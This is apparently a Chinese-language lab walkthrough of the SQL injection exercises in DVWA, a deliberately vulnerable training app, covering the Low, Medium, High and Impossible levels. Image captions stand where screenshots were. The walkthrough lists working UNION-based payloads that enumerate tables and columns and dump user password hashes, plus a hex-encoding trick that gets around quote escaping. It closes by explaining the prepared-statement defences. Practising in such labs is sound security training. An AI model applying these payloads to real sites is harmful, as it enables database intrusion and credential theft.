dvwa之sqli

Low:
源代码:
dvwa之sqli
什么都没过滤,直接给变量。用了引号应该是字符注入。

1 or 1=1
dvwa之sqli
1 or 1=2
dvwa之sqli
非数字型.
1‘
dvwa之sqli
1’ or ‘1’=’1
dvwa之sqli

为字符型。
科普:
dvwa之sqli

1’ union select database(),version
dvwa之sqli
有limit限制。加#将后面的注释掉

1’ union select database(),version()#
dvwa之sqli

1’ order by 2#
dvwa之sqli
1’ order by 3#
dvwa之sqli

为两列。

1’ union select 1,table_name from information_schema.tables where table_schema=database()#
dvwa之sqli
1’ union select 1,column_name from information_schema.columns where table_name=’users’#
dvwa之sqli
1’ union select user,password from users#

dvwa之sqli
Medium:
源代码:
dvwa之sqli
看起来不像字符注入。
dvwa之sqli
dvwa之sqli
页面:
dvwa之sqli
不给写语句。
抓包:
1’
dvwa之sqli

‘转义为\’
dvwa之sqli
1 or 1=1
dvwa之sqli
dvwa之sqli
为数字型。
由low知为2列。
dvwa之sqli
dvwa之sqli
dvwa之sqli

dvwa之sqli
union select 1,column_name from information_schema.columns where table_name=’users’
这一句已经无法利用,’users’将被转义为\’users\’无法在数据库查询。
则可以通过16进制绕过:
科普:
dvwa之sqli

测试mysql:
dvwa之sqli
生效。
users对应16进制的7573657273

union select 1,column_name from information_schema.columns where table_name=0x7573657273
dvwa之sqli
dvwa之sqli

union select user,password from users
dvwa之sqli
dvwa之sqli

High:
源代码
dvwa之sqli
通过session传递,添加了limit限制。需要构造互相闭合语句。
dvwa之sqli
dvwa之sqli

构造语句生效.

1’ union select database(),version()#
dvwa之sqli

1’ union select 1,table_name from information_schema.tables where table_schema=database() #
dvwa之sqli
似乎没有生效,可能没有注释掉。
抓包:
dvwa之sqli
session提交似乎会将语句进行编码从而无法执行。
改包:
dvwa之sqli
dvwa之sqli

1’ union select 1,column_name from information_schema.columns where table_name=’users’#
dvwa之sqli

1’ union select user,password from users#
dvwa之sqli
dvwa之sqli

Impossible:
dvwa之sqli
通过get传参,加入各种函数进行过滤数据,并且加入limit限制。
科普:
Token:一般通过session验证,当用户访问视图时,服务器端生成一个token放入session中,同时将token返回视图,通过js或者hidden接收。通过比较这两个token是否一致在进行数据操作---------------函数:checktoken():检查token。好处:1.防止表单重复提交 2.防止csrf攻击 3.用于签名验证。安全。 坏处:服务器压力过大
is_numeric():用于检测变量是否为数字或数字字符串,是返回1,否返回0。利用不了字符串
Bindparam():将绑定的参数交给execute()。这样的话无法再构造闭合语句,此函数让user_id必须对应一个值。
最后的if($data.rowcount()==1)限制了返回结果为一条。

没什么思路,百度看了下大神们的分析,用到了什么pdo技术,划清代码与数据界限。
以及其他模块绕过都进行了防护。

会破impossible的可以评论教下,感激不尽。